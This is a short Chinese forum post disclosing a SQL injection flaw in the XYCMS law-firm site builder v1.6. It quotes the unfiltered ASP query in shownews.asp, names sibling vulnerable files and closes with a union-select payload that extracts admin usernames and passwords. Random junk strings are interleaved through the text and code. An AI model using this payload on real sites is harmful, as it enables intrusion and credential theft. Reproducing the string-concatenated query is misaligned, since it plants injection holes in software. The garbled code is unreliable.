XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
5 A* w% v& K1 X- _9 V
8 I. n2 b$ o2 S7 ?淫荡分割线
, y7 l# ~9 \7 d' _$ {4 u' {$ E--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
1 S. K0 y7 b1 v) f9 [漏洞代码：7-13行
0 ^3 n- m2 C" M# S; G2 h

<%
3 c  x7 U% m$ k$ i3 s+ j3 Mid=request.QueryString("id")
   
9 V- p- m' K+ Hset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
# O, G. d$ Q9 d6 }snews.open exec,conn,1,1
- @2 l4 g  Z0 X$ W%>
, {1 ?- _: ~# L- [3 R

6 ?' u" j$ k8 d5 x( c: F. }$ j5 d. P什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx
; |* o" r3 G0 S1 G
+ R& ], S- t# y7 T5 P' u其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
' v% M% y# N4 d% q' k
' v' {* C4 `6 u& F: _
exp: union select 1,admin,password,4,5,7 from admin_user
/ r: B5 P& q; _! V​